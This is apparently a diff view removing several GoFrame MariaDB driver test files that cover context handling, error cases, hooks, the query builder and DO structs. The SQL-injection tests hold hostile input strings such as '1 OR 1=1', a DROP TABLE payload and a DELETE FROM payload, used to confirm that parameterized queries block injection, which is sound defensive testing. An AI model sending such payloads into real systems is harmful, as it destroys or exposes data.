ctx = context.WithValue(ctx, "SpanId", "0.1")
db.Model(table).Ctx(ctx).All()
})
gtest.C(t, func(t *gtest.T) {
db.SetDebug(true)
defer db.SetDebug(false)
db.Model(table).All()
})
}
// Test_Ctx_Timeout tests context timeout behavior
func Test_Ctx_Timeout(t *testing.T) {
table := createInitTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
// Create a context with very short timeout
ctx, cancel := context.WithTimeout(context.Background(), 1*time.Nanosecond)
defer cancel()
// Wait for timeout
time.Sleep(1 * time.Millisecond)
// Query should fail due to context timeout
_, err := db.Model(table).Ctx(ctx).All()
t.AssertNE(err, nil)
})
}
// Test_Ctx_Cancel tests context cancellation
func Test_Ctx_Cancel(t *testing.T) {
table := createInitTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
ctx, cancel := context.WithCancel(context.Background())
// Cancel immediately
cancel()
// Query should fail due to cancelled context
_, err := db.Model(table).Ctx(ctx).All()
t.AssertNE(err, nil)
})
}
// Test_Ctx_Propagation_Transaction tests context propagation in transaction
func Test_Ctx_Propagation_Transaction(t *testing.T) {
table := createInitTable()
defer dropTable(table)
db.GetLogger().(*glog.Logger).SetCtxKeys("TraceId")
gtest.C(t, func(t *gtest.T) {
db.SetDebug(true)
defer db.SetDebug(false)
ctx := context.WithValue(context.Background(), "TraceId", "tx_trace_123")
err := db.Transaction(ctx, func(ctx context.Context, tx gdb.TX) error {
// Context should propagate to transaction operations
_, err := tx.Model(table).Ctx(ctx).Where("id", 1).One()
return err
})
t.AssertNil(err)
})
}
// Test_Ctx_Multiple_Values tests context with multiple values
func Test_Ctx_Multiple_Values(t *testing.T) {
table := createInitTable()
defer dropTable(table)
db.GetLogger().(*glog.Logger).SetCtxKeys("TraceId", "RequestId", "UserId")
gtest.C(t, func(t *gtest.T) {
db.SetDebug(true)
defer db.SetDebug(false)
ctx := context.WithValue(context.Background(), "TraceId", "trace_001")
ctx = context.WithValue(ctx, "RequestId", "req_002")
ctx = context.WithValue(ctx, "UserId", "user_003")
db.Model(table).Ctx(ctx).Where("id", 1).One()
})
}
// Test_Ctx_Nested_Operations tests context in nested operations
func Test_Ctx_Nested_Operations(t *testing.T) {
table := createInitTable()
defer dropTable(table)
db.GetLogger().(*glog.Logger).SetCtxKeys("TraceId")
gtest.C(t, func(t *gtest.T) {
db.SetDebug(true)
defer db.SetDebug(false)
ctx := context.WithValue(context.Background(), "TraceId", "nested_trace")
// Nested query operations should all have context
result, err := db.Model(table).Ctx(ctx).Where("id>", 0).All()
t.AssertNil(err)
if len(result) > 0 {
// Another query using same context
_, err = db.Model(table).Ctx(ctx).Where("id", result[0]["id"]).One()
t.AssertNil(err)
}
})
}

View File

@ -1,489 +0,0 @@
// Copyright GoFrame Author(https://goframe.org). All Rights Reserved.
//
// This Source Code Form is subject to the terms of the MIT License.
// If a copy of the MIT was not distributed with this file,
// You can obtain one at https://github.com/gogf/gf.
package mariadb_test
import (
"context"
"testing"
"github.com/gogf/gf/v2/database/gdb"
"github.com/gogf/gf/v2/errors/gerror"
"github.com/gogf/gf/v2/frame/g"
"github.com/gogf/gf/v2/test/gtest"
)
// Test_Model_Insert_NilData tests Insert with nil data
func Test_Model_Insert_NilData(t *testing.T) {
table := createTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
_, err := db.Model(table).Data(nil).Insert()
t.AssertNE(err, nil)
})
}
// Test_Model_Insert_EmptyMap tests Insert with empty map
func Test_Model_Insert_EmptyMap(t *testing.T) {
table := createTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
_, err := db.Model(table).Data(g.Map{}).Insert()
t.AssertNE(err, nil)
})
}
// Test_Model_Insert_EmptySlice tests Insert with empty slice
func Test_Model_Insert_EmptySlice(t *testing.T) {
table := createTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
_, err := db.Model(table).Data(g.Slice{}).Insert()
t.AssertNE(err, nil)
})
}
// Test_Model_Update_NilData tests Update with nil data
func Test_Model_Update_NilData(t *testing.T) {
table := createInitTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
_, err := db.Model(table).Data(nil).Where("id", 1).Update()
t.AssertNE(err, nil)
})
}
// Test_Model_Update_EmptyData tests Update with empty data
func Test_Model_Update_EmptyData(t *testing.T) {
table := createInitTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
_, err := db.Model(table).Data(g.Map{}).Where("id", 1).Update()
t.AssertNE(err, nil)
})
}
// Test_Model_Update_NoWhere tests Update without WHERE clause is rejected by framework
func Test_Model_Update_NoWhere(t *testing.T) {
table := createInitTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
// Framework safety check: Update without WHERE should return error
_, err := db.Model(table).Data(g.Map{"nickname": "updated"}).Update()
t.AssertNE(err, nil)
})
}
// Test_Model_Delete_NoWhere tests Delete without WHERE clause is rejected by framework
func Test_Model_Delete_NoWhere(t *testing.T) {
table := createInitTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
// Framework safety check: Delete without WHERE should return error
_, err := db.Model(table).Delete()
t.AssertNE(err, nil)
})
}
// Test_Model_Scan_NilPointer tests Scan with nil pointer
func Test_Model_Scan_NilPointer(t *testing.T) {
table := createInitTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
err := db.Model(table).Where("id", 1).Scan(nil)
t.AssertNE(err, nil)
})
}
// Test_Model_Scan_InvalidPointer tests Scan with invalid pointer type
func Test_Model_Scan_InvalidPointer(t *testing.T) {
table := createInitTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
var str string
err := db.Model(table).Where("id", 1).Scan(&str)
t.AssertNE(err, nil)
})
}
// Test_Model_Scan_EmptyResult tests Scan with empty result
func Test_Model_Scan_EmptyResult(t *testing.T) {
table := createInitTable()
defer dropTable(table)
type User struct {
Id int
}
// Scan initialized struct with empty result returns sql.ErrNoRows
gtest.C(t, func(t *gtest.T) {
var user User
err := db.Model(table).Where("id > ?", 1000).Scan(&user)
t.AssertNE(err, nil)
})
// Scan nil pointer with empty result returns nil error
gtest.C(t, func(t *gtest.T) {
var user *User
err := db.Model(table).Where("id > ?", 1000).Scan(&user)
t.AssertNil(err)
t.Assert(user, nil)
})
}
// Test_Model_Where_InvalidOperator tests Where with invalid operator
func Test_Model_Where_InvalidOperator(t *testing.T) {
table := createInitTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
// Invalid SQL should cause error at query time
_, err := db.Model(table).Where("id INVALID_OP ?", 1).All()
t.AssertNE(err, nil)
})
}
// Test_Model_Where_EmptyString tests Where with empty string
func Test_Model_Where_EmptyString(t *testing.T) {
table := createInitTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
result, err := db.Model(table).Where("").All()
t.AssertNil(err)
t.Assert(len(result), TableSize) // Empty WHERE returns all
})
}
// Test_Model_Fields_InvalidField tests Fields with non-existent field
func Test_Model_Fields_InvalidField(t *testing.T) {
table := createInitTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
_, err := db.Model(table).Fields("non_existent_field").All()
t.AssertNE(err, nil)
})
}
// Test_Model_Fields_Empty tests Fields with empty string
// Regression test for #4697: Fields("") should handle empty string gracefully
// https://github.com/gogf/gf/issues/4697
func Test_Model_Fields_Empty(t *testing.T) {
table := createInitTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
result, err := db.Model(table).Fields("").Limit(1).All()
t.AssertNil(err)
t.AssertLE(len(result), 1)
})
}
// Test_Model_Order_InvalidSyntax tests Order with invalid syntax
func Test_Model_Order_InvalidSyntax(t *testing.T) {
table := createInitTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
// Invalid ORDER BY syntax
_, err := db.Model(table).Order("id INVALID").All()
t.AssertNE(err, nil)
})
}
// Test_Model_Group_UnknownColumn tests Group with non-existent column
func Test_Model_Group_UnknownColumn(t *testing.T) {
table := createInitTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
_, err := db.Model(table).Group("non_existent_field").All()
t.AssertNE(err, nil)
})
}
// Test_Model_TableNotExist tests querying non-existent table
func Test_Model_TableNotExist(t *testing.T) {
gtest.C(t, func(t *gtest.T) {
_, err := db.Model("non_existent_table_xyz").All()
t.AssertNE(err, nil)
})
}
// Test_Model_InvalidTableName tests invalid table name
func Test_Model_InvalidTableName(t *testing.T) {
gtest.C(t, func(t *gtest.T) {
// Empty table name
_, err := db.Model("").All()
t.AssertNE(err, nil)
})
}
// Test_Model_SQLInjection_Where tests SQL injection prevention in Where
func Test_Model_SQLInjection_Where(t *testing.T) {
table := createInitTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
// Attempt SQL injection through string column parameter.
// Using string column `nickname` instead of int column `id`,
// because MySQL coerces "1 OR 1=1" to 1 for int columns.
maliciousInput := "1 OR 1=1"
result, err := db.Model(table).Where("nickname = ?", maliciousInput).All()
t.AssertNil(err)
t.Assert(len(result), 0) // Should not return all records
})
gtest.C(t, func(t *gtest.T) {
// Attempt SQL injection with quotes, using string column to avoid
// MySQL implicit int conversion (which would coerce "1'..." to 1)
maliciousInput := "1'; DROP TABLE " + table + "; --"
result, err := db.Model(table).Where("nickname = ?", maliciousInput).All()
t.AssertNil(err)
t.Assert(len(result), 0)
// Table should still exist
count, err := db.Model(table).Count()
t.AssertNil(err)
t.Assert(count, TableSize)
})
}
// Test_Model_SQLInjection_Insert tests SQL injection prevention in Insert
func Test_Model_SQLInjection_Insert(t *testing.T) {
table := createTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
maliciousData := g.Map{
"id": 1,
"passport": "'; DROP TABLE " + table + "; --",
"password": "pwd",
"nickname": "test",
}
_, err := db.Model(table).Data(maliciousData).Insert()
t.AssertNil(err)
// Verify data was inserted correctly and table still exists
one, err := db.Model(table).Where("id", 1).One()
t.AssertNil(err)
t.AssertNE(one, nil)
t.Assert(one["passport"].String(), "'; DROP TABLE "+table+"; --")
})
}
// Test_Model_SQLInjection_Update tests SQL injection prevention in Update
func Test_Model_SQLInjection_Update(t *testing.T) {
table := createInitTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
// Use shorter malicious string to fit in nickname column
maliciousData := g.Map{
"nickname": "'; DELETE FROM users; --",
}
_, err := db.Model(table).Data(maliciousData).Where("id", 1).Update()
t.AssertNil(err)
// Verify only one record was updated (parameterized query prevents injection)
one, err := db.Model(table).Where("id", 1).One()
t.AssertNil(err)
t.Assert(one["nickname"].String(), "'; DELETE FROM users; --")
// Other records should still exist (injection was prevented)
count, err := db.Model(table).Count()
t.AssertNil(err)
t.Assert(count, TableSize)
})
}
// Test_Model_Context_Cancelled tests query with cancelled context
func Test_Model_Context_Cancelled(t *testing.T) {
table := createInitTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
ctx, cancel := context.WithCancel(context.Background())
cancel() // Cancel immediately
_, err := db.Model(table).Ctx(ctx).All()
t.AssertNE(err, nil)
t.Assert(gerror.Is(err, context.Canceled), true)
})
}
// Test_Model_Value_EmptyResult tests Value with empty result
func Test_Model_Value_EmptyResult(t *testing.T) {
table := createInitTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
value, err := db.Model(table).Where("id > ?", 1000).Value()
t.AssertNil(err)
t.Assert(value.IsEmpty(), true)
})
}
// Test_Model_Array_EmptyResult tests Array with empty result
func Test_Model_Array_EmptyResult(t *testing.T) {
table := createInitTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
array, err := db.Model(table).Where("id > ?", 1000).Array()
t.AssertNil(err)
t.Assert(len(array), 0)
})
}
// Test_Model_Count_InvalidTable tests Count on invalid table
func Test_Model_Count_InvalidTable(t *testing.T) {
gtest.C(t, func(t *gtest.T) {
_, err := db.Model("non_existent_table").Count()
t.AssertNE(err, nil)
})
}
// Test_Model_Max_EmptyResult tests Max with empty result
func Test_Model_Max_EmptyResult(t *testing.T) {
table := createInitTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
value, err := db.Model(table).Where("id > ?", 1000).Max("id")
t.AssertNil(err)
t.Assert(value, 0) // Returns 0 for empty result
})
}
// Test_Model_Min_EmptyResult tests Min with empty result
func Test_Model_Min_EmptyResult(t *testing.T) {
table := createInitTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
value, err := db.Model(table).Where("id > ?", 1000).Min("id")
t.AssertNil(err)
t.Assert(value, 0) // Returns 0 for empty result
})
}
// Test_Model_Avg_EmptyResult tests Avg with empty result
func Test_Model_Avg_EmptyResult(t *testing.T) {
table := createInitTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
value, err := db.Model(table).Where("id > ?", 1000).Avg("id")
t.AssertNil(err)
t.Assert(value, 0) // Returns 0 for empty result
})
}
// Test_Model_Sum_EmptyResult tests Sum with empty result
func Test_Model_Sum_EmptyResult(t *testing.T) {
table := createInitTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
value, err := db.Model(table).Where("id > ?", 1000).Sum("id")
t.AssertNil(err)
t.Assert(value, 0) // Returns 0 for empty result
})
}
// Test_Model_One_NilResult tests One returning nil
func Test_Model_One_NilResult(t *testing.T) {
table := createInitTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
one, err := db.Model(table).Where("id > ?", 1000).One()
t.AssertNil(err)
t.Assert(one, nil)
})
}
// Test_TX_Rollback_AfterError tests transaction rollback after error
func Test_TX_Rollback_AfterError(t *testing.T) {
table := createTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
err := db.Transaction(ctx, func(ctx context.Context, tx gdb.TX) error {
// Insert valid record
_, err := tx.Model(table).Data(g.Map{
"id": 1,
"passport": "pass1",
"password": "pwd1",
"nickname": "name1",
}).Insert()
if err != nil {
return err
}
// Insert duplicate id (should fail)
_, err = tx.Model(table).Data(g.Map{
"id": 1, // Duplicate
"passport": "pass2",
"password": "pwd2",
"nickname": "name2",
}).Insert()
return err // Return error to trigger rollback
})
t.AssertNE(err, nil)
// Verify rollback - table should be empty
count, err := db.Model(table).Count()
t.AssertNil(err)
t.Assert(count, 0)
})
}
// Test_Model_Insert_DuplicateKey tests handling of duplicate key error
func Test_Model_Insert_DuplicateKey(t *testing.T) {
table := createTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
data := g.Map{
"id": 1,
"passport": "pass",
"password": "pwd",
"nickname": "name",
}
// First insert should succeed
_, err := db.Model(table).Data(data).Insert()
t.AssertNil(err)
// Second insert with same id should fail
_, err = db.Model(table).Data(data).Insert()
t.AssertNE(err, nil)
})
}
// Test_Model_All_InvalidConnection tests query with invalid connection
func Test_Model_All_InvalidConnection(t *testing.T) {
gtest.C(t, func(t *gtest.T) {
if dbInvalid == nil {
t.Skip("dbInvalid not configured")
}
_, err := dbInvalid.Model("test_table").All()
t.AssertNE(err, nil)
})
}

View File

@ -1,229 +0,0 @@
// Copyright GoFrame Author(https://goframe.org). All Rights Reserved.
//
// This Source Code Form is subject to the terms of the MIT License.
// If a copy of the MIT was not distributed with this file,
// You can obtain one at https://github.com/gogf/gf.
package mariadb_test
import (
"context"
"database/sql"
"fmt"
"testing"
"github.com/gogf/gf/v2/container/gvar"
"github.com/gogf/gf/v2/database/gdb"
"github.com/gogf/gf/v2/frame/g"
"github.com/gogf/gf/v2/test/gtest"
)
func Test_Model_Hook_Select(t *testing.T) {
table := createInitTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
m := db.Model(table).Hook(gdb.HookHandler{
Select: func(ctx context.Context, in *gdb.HookSelectInput) (result gdb.Result, err error) {
result, err = in.Next(ctx)
if err != nil {
return
}
for i, record := range result {
record["test"] = gvar.New(100 + record["id"].Int())
result[i] = record
}
return
},
})
all, err := m.Where(`id > 6`).OrderAsc(`id`).All()
t.AssertNil(err)
t.Assert(len(all), 4)
t.Assert(all[0]["id"].Int(), 7)
t.Assert(all[0]["test"].Int(), 107)
t.Assert(all[1]["test"].Int(), 108)
t.Assert(all[2]["test"].Int(), 109)
t.Assert(all[3]["test"].Int(), 110)
})
}
func Test_Model_Hook_Insert(t *testing.T) {
table := createTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
m := db.Model(table).Hook(gdb.HookHandler{
Insert: func(ctx context.Context, in *gdb.HookInsertInput) (result sql.Result, err error) {
for i, item := range in.Data {
item["passport"] = fmt.Sprintf(`test_port_%d`, item["id"])
item["nickname"] = fmt.Sprintf(`test_name_%d`, item["id"])
in.Data[i] = item
}
return in.Next(ctx)
},
})
_, err := m.Insert(g.Map{
"id": 1,
"nickname": "name_1",
})
t.AssertNil(err)
one, err := m.One()
t.AssertNil(err)
t.Assert(one["id"].Int(), 1)
t.Assert(one["passport"], `test_port_1`)
t.Assert(one["nickname"], `test_name_1`)
})
}
func Test_Model_Hook_Update(t *testing.T) {
table := createInitTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
m := db.Model(table).Hook(gdb.HookHandler{
Update: func(ctx context.Context, in *gdb.HookUpdateInput) (result sql.Result, err error) {
switch value := in.Data.(type) {
case gdb.List:
for i, data := range value {
data["passport"] = `port`
data["nickname"] = `name`
value[i] = data
}
in.Data = value
case gdb.Map:
value["passport"] = `port`
value["nickname"] = `name`
in.Data = value
}
return in.Next(ctx)
},
})
_, err := m.Data(g.Map{
"nickname": "name_1",
}).WherePri(1).Update()
t.AssertNil(err)
one, err := m.One()
t.AssertNil(err)
t.Assert(one["id"].Int(), 1)
t.Assert(one["passport"], `port`)
t.Assert(one["nickname"], `name`)
})
}
func Test_Model_Hook_Delete(t *testing.T) {
table := createInitTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
m := db.Model(table).Hook(gdb.HookHandler{
Delete: func(ctx context.Context, in *gdb.HookDeleteInput) (result sql.Result, err error) {
return db.Model(table).Data(g.Map{
"nickname": `deleted`,
}).Where(in.Condition).Update()
},
})
_, err := m.Where(1).Delete()
t.AssertNil(err)
all, err := m.All()
t.AssertNil(err)
for _, item := range all {
t.Assert(item["nickname"].String(), `deleted`)
}
})
}
// Test_Model_Hook_Multiple tests multiple hooks execution order
func Test_Model_Hook_Multiple(t *testing.T) {
table := createInitTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
var execOrder []string
m := db.Model(table).Hook(gdb.HookHandler{
Select: func(ctx context.Context, in *gdb.HookSelectInput) (result gdb.Result, err error) {
execOrder = append(execOrder, "hook1_before")
result, err = in.Next(ctx)
execOrder = append(execOrder, "hook1_after")
return
},
}).Hook(gdb.HookHandler{
Select: func(ctx context.Context, in *gdb.HookSelectInput) (result gdb.Result, err error) {
execOrder = append(execOrder, "hook2_before")
result, err = in.Next(ctx)
execOrder = append(execOrder, "hook2_after")
return
},
})
_, err := m.Where("id", 1).One()
t.AssertNil(err)
// Verify only the last registered hook executes (Hook is override, not chain)
t.Assert(len(execOrder), 2)
t.Assert(execOrder, g.Slice{"hook2_before", "hook2_after"})
})
}
// Test_Model_Hook_Error_Abort tests hook returning error aborts operation
func Test_Model_Hook_Error_Abort(t *testing.T) {
table := createInitTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
m := db.Model(table).Hook(gdb.HookHandler{
Insert: func(ctx context.Context, in *gdb.HookInsertInput) (result sql.Result, err error) {
// Return error to abort insert
return nil, fmt.Errorf("hook aborted insert")
},
})
_, err := m.Insert(g.Map{
"passport": "test_abort",
"password": "pass",
"nickname": "name",
})
t.AssertNE(err, nil)
t.Assert(err.Error(), "hook aborted insert")
// Verify record was not inserted
count, err := db.Model(table).Where("passport", "test_abort").Count()
t.AssertNil(err)
t.Assert(count, 0)
})
}
// Test_Model_Hook_Modify_Data tests hook modifying data before insert
func Test_Model_Hook_Modify_Data(t *testing.T) {
table := createTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
m := db.Model(table).Hook(gdb.HookHandler{
Insert: func(ctx context.Context, in *gdb.HookInsertInput) (result sql.Result, err error) {
// Modify all data items
for i := range in.Data {
in.Data[i]["password"] = "encrypted_" + fmt.Sprint(in.Data[i]["password"])
in.Data[i]["nickname"] = "verified_" + fmt.Sprint(in.Data[i]["nickname"])
}
return in.Next(ctx)
},
})
_, err := m.Insert(g.Map{
"passport": "test_user",
"password": "plain123",
"nickname": "john",
})
t.AssertNil(err)
// Verify data was modified by hook
one, err := db.Model(table).Where("passport", "test_user").One()
t.AssertNil(err)
t.Assert(one["password"].String(), "encrypted_plain123")
t.Assert(one["nickname"].String(), "verified_john")
})
}

View File

@ -1,141 +0,0 @@
// Copyright GoFrame Author(https://goframe.org). All Rights Reserved.
//
// This Source Code Form is subject to the terms of the MIT License.
// If a copy of the MIT was not distributed with this file,
// You can obtain one at https://github.com/gogf/gf.
package mariadb_test
import (
"testing"
"github.com/gogf/gf/v2/encoding/gjson"
"github.com/gogf/gf/v2/frame/g"
"github.com/gogf/gf/v2/os/gtime"
"github.com/gogf/gf/v2/test/gtest"
"github.com/gogf/gf/v2/util/gmeta"
)
func Test_Model_Builder(t *testing.T) {
table := createInitTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
m := db.Model(table)
b := m.Builder()
all, err := m.Where(
b.Where("id", g.Slice{1, 2, 3}).WhereOr("id", g.Slice{4, 5, 6}),
).All()
t.AssertNil(err)
t.Assert(len(all), 6)
})
// Where And
gtest.C(t, func(t *gtest.T) {
m := db.Model(table)
b := m.Builder()
all, err := m.Where(
b.Where("id", g.Slice{1, 2, 3}).WhereOr("id", g.Slice{4, 5, 6}),
).Where(
b.Where("id", g.Slice{2, 3}).WhereOr("id", g.Slice{5, 6}),
).Where(
b.Where("id", g.Slice{3}).Where("id", g.Slice{1, 2, 3}),
).All()
t.AssertNil(err)
t.Assert(len(all), 1)
})
// Where Or
gtest.C(t, func(t *gtest.T) {
m := db.Model(table)
b := m.Builder()
all, err := m.WhereOr(
b.Where("id", g.Slice{1, 2, 3}).WhereOr("id", g.Slice{4, 5, 6}),
).WhereOr(
b.Where("id", g.Slice{2, 3}).WhereOr("id", g.Slice{5, 6}),
).WhereOr(
b.Where("id", g.Slice{3}).Where("id", g.Slice{1, 2, 3}),
).All()
t.AssertNil(err)
t.Assert(len(all), 6)
})
// Where with struct which has a field type of *gtime.Time
gtest.C(t, func(t *gtest.T) {
m := db.Model(table)
b := m.Builder()
type Query struct {
Id any
Nickname *gtime.Time
}
where, args := b.Where(&Query{Id: 1}).Build()
t.Assert(where, "`id`=? AND `nickname` IS NULL")
t.Assert(args, []any{1})
})
// Where with struct which has a field type of *gjson.Json
gtest.C(t, func(t *gtest.T) {
m := db.Model(table)
b := m.Builder()
type Query struct {
Id any
Nickname *gjson.Json
}
where, args := b.Where(&Query{Id: 1}).Build()
t.Assert(where, "`id`=? AND `nickname` IS NULL")
t.Assert(args, []any{1})
})
// Where with do struct which has a field type of *gtime.Time and generated by gf cli
gtest.C(t, func(t *gtest.T) {
m := db.Model(table)
b := m.Builder()
type Query struct {
gmeta.Meta `orm:"do:true"`
Id any
Nickname *gtime.Time
}
where, args := b.Where(&Query{Id: 1}).Build()
t.Assert(where, "`id`=?")
t.Assert(args, []any{1})
})
// Where with do struct which has a field type of *gjson.Json and generated by gf cli
gtest.C(t, func(t *gtest.T) {
m := db.Model(table)
b := m.Builder()
type Query struct {
gmeta.Meta `orm:"do:true"`
Id any
Nickname *gjson.Json
}
where, args := b.Where(&Query{Id: 1}).Build()
t.Assert(where, "`id`=?")
t.Assert(args, []any{1})
})
}
func Test_Safe_Builder(t *testing.T) {
// test whether m.Builder() is chain safe
gtest.C(t, func(t *gtest.T) {
b := db.Model().Builder()
b.Where("id", 1)
_, args := b.Build()
t.AssertNil(args)
b = b.Where("id", 1)
_, args = b.Build()
t.Assert(args, g.Slice{1})
})
}

View File

@ -1,390 +0,0 @@
// Copyright GoFrame Author(https://goframe.org). All Rights Reserved.
//
// This Source Code Form is subject to the terms of the MIT License.
// If a copy of the MIT was not distributed with this file,
// You can obtain one at https://github.com/gogf/gf.
package mariadb_test
import (
"testing"
"github.com/gogf/gf/v2/frame/g"
"github.com/gogf/gf/v2/test/gtest"
"github.com/gogf/gf/v2/text/gstr"
"github.com/gogf/gf/v2/util/gconv"
)
func Test_Model_Insert_Data_DO(t *testing.T) {
table := createTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
type User struct {
g.Meta `orm:"do:true"`
Id any
Passport any
Password any
Nickname any
CreateTime any
}
data := User{
Id: 1,
Passport: "user_1",
Password: "pass_1",
}
result, err := db.Model(table).Data(data).Insert()
t.AssertNil(err)
n, _ := result.LastInsertId()
t.Assert(n, 1)
one, err := db.Model(table).WherePri(1).One()
t.AssertNil(err)
t.Assert(one[`id`], `1`)
t.Assert(one[`passport`], `user_1`)
t.Assert(one[`password`], `pass_1`)
t.Assert(one[`nickname`], ``)
t.Assert(one[`create_time`], ``)
})
}
func Test_Model_Insert_Data_List_DO(t *testing.T) {
table := createTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
type User struct {
g.Meta `orm:"do:true"`
Id any
Passport any
Password any
Nickname any
CreateTime any
}
data := g.Slice{
User{
Id: 1,
Passport: "user_1",
Password: "pass_1",
},
User{
Id: 2,
Passport: "user_2",
Password: "pass_2",
},
}
result, err := db.Model(table).Data(data).Insert()
t.AssertNil(err)
n, _ := result.LastInsertId()
t.Assert(n, 2)
one, err := db.Model(table).WherePri(1).One()
t.AssertNil(err)
t.Assert(one[`id`], `1`)
t.Assert(one[`passport`], `user_1`)
t.Assert(one[`password`], `pass_1`)
t.Assert(one[`nickname`], ``)
t.Assert(one[`create_time`], ``)
one, err = db.Model(table).WherePri(2).One()
t.AssertNil(err)
t.Assert(one[`id`], `2`)
t.Assert(one[`passport`], `user_2`)
t.Assert(one[`password`], `pass_2`)
t.Assert(one[`nickname`], ``)
t.Assert(one[`create_time`], ``)
})
}
func Test_Model_Update_Data_DO(t *testing.T) {
table := createInitTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
type User struct {
g.Meta `orm:"do:true"`
Id any
Passport any
Password any
Nickname any
CreateTime any
}
data := User{
Id: 1,
Passport: "user_100",
Password: "pass_100",
}
_, err := db.Model(table).Data(data).WherePri(1).Update()
t.AssertNil(err)
one, err := db.Model(table).WherePri(1).One()
t.AssertNil(err)
t.Assert(one[`id`], `1`)
t.Assert(one[`passport`], `user_100`)
t.Assert(one[`password`], `pass_100`)
t.Assert(one[`nickname`], `name_1`)
})
}
func Test_Model_Update_Pointer_Data_DO(t *testing.T) {
table := createInitTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
type NN string
type Req struct {
Id int
Passport *string
Password *string
Nickname *NN
}
type UserDo struct {
g.Meta `orm:"do:true"`
Id any
Passport any
Password any
Nickname any
CreateTime any
}
var (
nickname = NN("nickname_111")
req = Req{
Password: gconv.PtrString("12345678"),
Nickname: &nickname,
}
data = UserDo{
Passport: req.Passport,
Password: req.Password,
Nickname: req.Nickname,
}
)
_, err := db.Model(table).Data(data).WherePri(1).Update()
t.AssertNil(err)
one, err := db.Model(table).WherePri(1).One()
t.AssertNil(err)
t.Assert(one[`id`], `1`)
t.Assert(one[`password`], `12345678`)
t.Assert(one[`nickname`], `nickname_111`)
})
}
func Test_Model_Where_DO(t *testing.T) {
table := createInitTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
type User struct {
g.Meta `orm:"do:true"`
Id any
Passport any
Password any
Nickname any
CreateTime any
}
where := User{
Id: 1,
Passport: "user_1",
Password: "pass_1",
}
one, err := db.Model(table).Where(where).One()
t.AssertNil(err)
t.Assert(one[`id`], `1`)
t.Assert(one[`passport`], `user_1`)
t.Assert(one[`password`], `pass_1`)
t.Assert(one[`nickname`], `name_1`)
})
}
func Test_Model_Insert_Data_ForDao(t *testing.T) {
table := createTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
type UserForDao struct {
Id any
Passport any
Password any
Nickname any
CreateTime any
}
data := UserForDao{
Id: 1,
Passport: "user_1",
Password: "pass_1",
}
result, err := db.Model(table).Data(data).Insert()
t.AssertNil(err)
n, _ := result.LastInsertId()
t.Assert(n, 1)
one, err := db.Model(table).WherePri(1).One()
t.AssertNil(err)
t.Assert(one[`id`], `1`)
t.Assert(one[`passport`], `user_1`)
t.Assert(one[`password`], `pass_1`)
t.Assert(one[`nickname`], ``)
t.Assert(one[`create_time`], ``)
})
}
func Test_Model_Insert_Data_List_ForDao(t *testing.T) {
table := createTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
type UserForDao struct {
Id any
Passport any
Password any
Nickname any
CreateTime any
}
data := g.Slice{
UserForDao{
Id: 1,
Passport: "user_1",
Password: "pass_1",
},
UserForDao{
Id: 2,
Passport: "user_2",
Password: "pass_2",
},
}
result, err := db.Model(table).Data(data).Insert()
t.AssertNil(err)
n, _ := result.LastInsertId()
t.Assert(n, 2)
one, err := db.Model(table).WherePri(1).One()
t.AssertNil(err)
t.Assert(one[`id`], `1`)
t.Assert(one[`passport`], `user_1`)
t.Assert(one[`password`], `pass_1`)
t.Assert(one[`nickname`], ``)
t.Assert(one[`create_time`], ``)
one, err = db.Model(table).WherePri(2).One()
t.AssertNil(err)
t.Assert(one[`id`], `2`)
t.Assert(one[`passport`], `user_2`)
t.Assert(one[`password`], `pass_2`)
t.Assert(one[`nickname`], ``)
t.Assert(one[`create_time`], ``)
})
}
func Test_Model_Update_Data_ForDao(t *testing.T) {
table := createInitTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
type UserForDao struct {
Id any
Passport any
Password any
Nickname any
CreateTime any
}
data := UserForDao{
Id: 1,
Passport: "user_100",
Password: "pass_100",
}
_, err := db.Model(table).Data(data).WherePri(1).Update()
t.AssertNil(err)
